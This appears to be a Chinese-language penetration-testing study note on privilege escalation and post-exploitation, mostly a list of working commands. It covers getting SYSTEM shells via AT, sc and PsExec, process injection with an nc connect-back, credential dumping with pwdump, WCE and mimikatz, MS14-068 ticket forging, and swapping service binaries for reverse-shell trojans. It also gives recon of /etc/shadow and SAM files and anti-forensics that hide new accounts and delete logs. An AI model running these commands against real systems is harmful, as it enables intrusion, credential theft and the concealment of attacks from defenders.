0x1 windows账号关系
windows下的账户权限关系
- System 大于 Administrator 大于 普通用户
- System 不完全包括 Administrator
- System 不完全包括 普通用户
- Administrator 完全包括 普通用户
0x2 windows本地提权
1. AT命
xp的AT命令(WIN2003也可以),win10中已弃用改为schtasks.exe,这是一条做系统调度任务的命令。
- 令启动system权限的cmd
AT xx:xx(时间) /interactive cmd
这样启动的cmd就是system权限,使用这个cmd启动的任务也是system权限。 - 启动一个system权限的桌面环境
使用system的cmd执行taskmgr(即任务管理器)
使用这个任务管理器结束explorer.exe进程
文件->新建一个explorer进程
2. SC命令
SC 是用来与服务控制管理器和服务进行通信 的命令行程序。
- 创建并启动服务
服务的默认启动权限是system,达到本地提权的目的。
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
注意第一条命令参数和等于之间有空格
3. SysinternalsSuite工具包
使用其中的PsExec.exe进行提权
.\PsExec.exe -i -s
- 如果出现错误:
Error codes returned by PsExec are specific to the applications you
execute, not PsExec.
0x3 注入进程提权
使用processinjector工具注入一个system权限的进程
pinjector.exe -l 列出当前进程
pinjector.exe -p pid cmd 开放端口号
等待回连
nc -nv 192.168.1.20 开放端口号
这种方式的好处在于没有新增进程,较为隐蔽。但是只有当防火墙开放对应端口的时候才能成功连接。
0x4 本地缓存密码
-
浏览器缓存的密码
可能会存储服务器上管理员账号的密码 -
控制面板-凭据管理器 web凭据、windows凭据
包括一些web、域、ftp、共享账号还可能存在远程桌面的账号密码,win10系统需要确认账号密码才能查看密码 -
无线密码
- http://www.nirsoft.net -
Dump SAM
Pwdump (可以远程执行)
在kali中的位置:/usr/share/windows-binaries/fgdump/
执行方式:
.\Pwdump.exe localhost
将会生成将生成的密码hash值保存,送到kali中破解或者使用其他平台进行hash碰撞
0x5 WCE (WINDOWS CREDENTIAL EDITOR)工具
kali中的位置:/usr/share/wce/
该工具需要管理员权限运行,并且该工具是从内存中读取信息。
wce-universal.exe -l / -lv
列出有登录会话(已登录)的用户名和密码hash
-lv显示详细信息,safe mode是安全模式,less-safe mode 是不安全的注入模式,这种模式探查信息可能会对系统造成破坏
wce-universal.exe -d
指定一个luid(登录会话)将其删除
wce-universal.exe -e / -r
-e每次有登录的时候刷新
-r参数表示每隔5s刷新登陆会话
wce-universal.exe -g
后面跟一个明文密码,计算改密码的hash
wce-universal.exe -w
显示WDigest-已登陆的用户在内存中的明文密码
LM/NT hash
- 防御WCE的攻击
修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
kerberos
msv1_0 schannel
wdigest (直到win7默认都有)
tspkg (终端服务,远程桌面连接时使用的安全包)
pku2u
0x6 mimikatz-王者工具
cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称–启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords–获登陆用户信息及密码
0x7 利用漏洞提权
利用发布的和0day漏洞对目标机器进行提权。在域环境中提权到域管理员可以百倍千倍扩大战果。
1. 利用pyinstaller将python打包成可执行文件
python pyinstaller.py --onefile 18176.py
在目标系统(英文版XP或者win2003,在中文版系统上只能做破坏系统使其重启)运行,可以从普通用户提权到管理员。
这个方法本地未经过测试,原因是:
本地有python2+3环境,cmd中的(即配置了环境变量的)pip属于python3,使用其安装pyinstaller后,一方面它不在python3的安装目录下(不知道是不是只有我是这样的)而是在C:\Users\Administrator\AppData\Roaming\Python\Python37\Scripts
目录下,?,根本找不到啊!
费尽心思终于找到这个东西了,但是运行的时候发现18176.py这个脚本是python2的和python3有语法冲突(其实在就料到了)。
当我尝试从python2安装路径中的script中直接使用pip安装一个python2版本的pyinstaller,失败了。我也就放弃实验了。
2. MS14-068
- 库
- https://github.com/bidord/pykek
searchsploit ms14-068
ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
拷贝 TGT_user1@lab.com.ccache 到windows系统 - 本地管理员登陆
mimikatz.exe log “kerberos::ptc TGT_user@lab.com.ccache” exit
0x8 利用不当配置提权
与漏洞提权相比,利用不当配置是更常用的方法。在企业环境中往往补丁更新的全部已经安装。
1. NTFS(文件管理系统)权限允许users修改删除
利用这个配置不当,可以替换windows开机自启的服务程序为木马程序。
木马程序可以使用反弹shell木马,也可以是一个修改系统配置的程序,木马可以注入到某个服务启动exe或者某个应用的exe。
-
Icacls
显示或者修改文件的访问控制表。
icacls C:\Windows*.exe /save perm.txt /T
输出示例:
bfsvc.exe
D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
explorer.exe
D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
HelpPane.exe
以(A;;0x1200a9;;;BU)为例,BU是普通用户,A是权限标识,如果一个BU用户的权限是F(full)或者FA,那么这就是一个不当配置,可以使用普通用户修改替换删除该程序。 -
在linux系统中使用ls -l
例如:
-rwxr-xr-x 1 root root 2581 4月 4 2018 8251.py
-rwxr-xr-x 1 root root 2338 4月 4 2018 8267.py
-rwxr-xr-x 1 root root 2355 4月 4 2018 8270.pl
-所属用户权限-用户组权限-其他用户权限
查找系统中所有的权限开放的程序
find / -perm 777 -exec ls -l {} ;
0x9 进行信息收集
-
Linux
• /etc/resolv.conf (dns解析,篡改/劫持)
• /etc/passwd (账号)
• /etc/shadow (密码)
• whoami
• who –a (当前登录的用户)
• ifconfig -a, iptables -L -n, ifconfig –a, netstat –r
• uname –a
• ps aux
• dpkg -l| head -
Windows
• ipconfig /all , ipconfig /displaydns(dns缓存), netstat -bnao , netstat –r(路由)
• net view , net view /domain (网络共享)
• net user /domain, net user %username% /domain (域账号信息)
• net accounts, net share (当前机器开启的共享)
• net group “Domain Controllers” /domain (查看域控制器)
• net share name$=C:\ /unlimited (共享C,无限制)
• net user username /active:yes /domain (开启被锁定账号,需要域管理员权限) -
WMIC收集系统信息
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION) – Windows管理工具
• wmic nicconfig get ipaddress,macaddress
• wmic computersystem get username
• wmic netlogin get name,lastlogon
• wmic process get caption, executablepath,commandline (查询进程,启动进程的程序,启动命令)
• wmic process where name=“calc.exe" call terminate (kill进程)
• wmic os get name,servicepackmajorversion (系统信息)
• wmic product get name,version (安装的产品)
• wmic product where name=“name” call uninstall /nointeractive (静默卸载)
• wmic share get /ALL
• wmic /node:“machinename” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1” (开启远程桌面,win10不可用)
• wmic nteventlog get path,filename, writeable (查看事件记录进程) -
收集敏感数据
- 商业信息
- 系统信息
- Linux
- /etc ;/usr/local/etc
- /etc/password ;/etc/shadow
- .ssh ;.gnupg 公私钥
- The e-mail and data files
- 业务数据库;身份认证服务器数据库
- /tmp
-
windows
- SAM 数据库 ; 注册表文件
- %SYSTEMROOT%\repair\SAM (SAM修复操作保存的副本)
- %SYSTEMROOT%\System32\config\RegBack\SAM (注册表备份)
- 业务数据库 ; 身份认证数据库
- 临时文件目录
-
UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
0x10 隐藏痕迹
- 禁止在登陆界面显示新建账号
REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T REG_DWORD /D 0 - del %WINDIR%*.log /a/s/q/f
- History
- 日志
+ auth.log / secure
+ btmp / wtmp
+ lastlog / faillog
+ 其他日志和 HIDS 等